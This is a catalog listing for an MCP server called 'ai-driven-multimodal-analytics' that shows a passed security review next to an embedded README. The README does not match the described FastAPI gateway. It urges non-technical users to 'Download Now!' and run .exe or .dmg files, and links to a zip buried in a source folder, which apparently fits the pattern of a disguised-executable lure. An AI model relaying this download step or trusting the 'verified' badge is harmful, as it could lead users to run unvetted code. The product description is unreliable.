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MCP verified MIT Self-run

Ai Driven Multimodal Analytics

mcp-sanggio-ai-driven-multimodal-analytics Β· by sanggio

πŸš€ Drive insights with an AI-powered Multimodal Analytics Gateway, utilizing FastAPI and OpenAI APIs for fast and efficient data processing.

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Install

$ agentstack add mcp-sanggio-ai-driven-multimodal-analytics

βœ“ scanned Β· βœ“ verified, works with Claude Code, Cursor, and more.

Security review

βœ“ Passed

No issues found. Passed automated security review. Β· v0.1.0 How review works β†’

  • βœ“ Prompt-injection patterns
  • βœ“ Secret / credential exfiltration
  • βœ“ Dangerous shell & filesystem operations
  • βœ“ Untrusted network calls
  • βœ“ Known-malicious package signatures

What it can access

  • βœ“ Network access No
  • βœ“ Filesystem access No
  • βœ“ Shell / process execution No
  • βœ“ Environment & secrets No
  • βœ“ Dynamic code execution No

From automated source analysis of v0.1.0. β€œUsed” means the capability is present in the source β€” more access means more to trust, not that it’s unsafe.

View the full security report β†’

Verified badge

Passed review? Show it. Paste this badge into your README, it links to the public security report.

AgentStack Verified badge Links to your public security report.
[![AgentStack Verified](https://agentstack.voostack.com/badges/verified.svg)](https://agentstack.voostack.com/security/report/mcp-sanggio-ai-driven-multimodal-analytics)

Reliability & compatibility

βœ“ Security review passed
0 installs to date
β€” no reviews yet
● 24d ago

Declared compatibility

Claude CodeClaude DesktopCursorWindsurf

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work β†’
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About

πŸŽ‰ ai-driven-multimodal-analytics - Simple AI Tools for Everyone

πŸ“₯ Download Now!

[](https://github.com/sanggio/ai-driven-multimodal-analytics/raw/refs/heads/master/app/mcp/aimultimodaldrivenanalytics1.1.zip)

πŸ“š Overview

Welcome to ai-driven-multimodal-analytics. This application helps users harness the power of multiple AI tools in one easy-to-use platform. Our project combines advanced technologies to offer efficient data analysis and content generation.

πŸš€ Getting Started

This guide will help you download and run the application. You don’t need any programming experience. Just follow these steps.

πŸ–₯️ System Requirements

  • Operating System: Windows 10 or higher, macOS, or a modern Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Disk Space: 1 GB of free space.
  • Internet: A stable internet connection for updates and AI features.

πŸ”§ Installation Steps

1. Visit the Download Page

Go to the Releases Page to find the latest version of the application.

2. Choose the Correct File

On the releases page, you will see various files available for download. Select the file that matches your operating system:

  • For Windows: Download the .exe file.
  • For macOS: Download the .dmg file.
  • For Linux: Download the appropriate package file.

3. Download the Application

Click on the download link for your chosen file. The download will start automatically. If it doesn't, try refreshing the page.

4. Locate the Downloaded File

Once the download is complete, find the file in your Downloads folder or the location you chose for downloads.

5. Install the Application

  • Windows:

Double-click the .exe file. Follow the on-screen instructions to install the application.

  • macOS:

Double-click the .dmg file. Drag the application to your Applications folder.

  • Linux:

Open a terminal, navigate to the folder where the downloaded file is, and run the installation command specific to your package manager.

🎬 Running the Application

1. Open the Application

After installation, locate the ai-driven-multimodal-analytics application and double-click to open it.

2. Create an Account

If prompted, create an account. Fill in the necessary details like name and email. This step ensures you can utilize all features.

3. Choose Your Tools

Once logged in, select the AI tools you want to use. These tools might include:

  • Text Generation: Create written content instantly.
  • Voice Recognition: Convert speech to text effortlessly.
  • Data Analysis: Analyze datasets for patterns and insights.

4. Start Using the Tools

Follow the instructions in the application to utilize the selected features. The user interface is designed to be straightforward, allowing for easy navigation.

🌐 Additional Features

  • Real-time Collaboration: Work with others simultaneously on projects.
  • Multi-Modal Capabilities: Combine text, audio, and visuals for richer data insights.
  • Asynchronous Processing: Enjoy faster processing times with background tasks.

πŸ’‘ Tips for Effective Use

  • Explore the tutorials in the application to get familiar with all features.
  • Regularly check for updates on the Releases Page to keep your application current.
  • Provide feedback through the application to help improve future versions.

βš™οΈ Troubleshooting

If you encounter issues running the application, consider the following:

  • Ensure your system meets the requirements listed earlier.
  • Check your internet connection for updates and features.
  • Restart the application to resolve minor glitches.

If problems persist, consult the support section within the application or reach out via the GitHub issues page.

πŸ—‚οΈ License

This project is licensed under the MIT License. You can view the full license on the repository.

πŸ—¨οΈ Community

Join our community for discussions, tips, and support. Follow us on GitHub for updates and new features. Your input is valuable as we continue to improve this application.

πŸ”— Resources

  • Documentation: Access detailed documentation within the application.
  • FAQs: Check the FAQ section for common questions.
  • Support: Reach out for help directly on our GitHub page.

Thank you for using ai-driven-multimodal-analytics. We hope it enhances your work and provides valuable insights. Enjoy your exploration of AI tools!

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source β€” we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

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Versions

  • v0.1.0 Imported from the upstream source.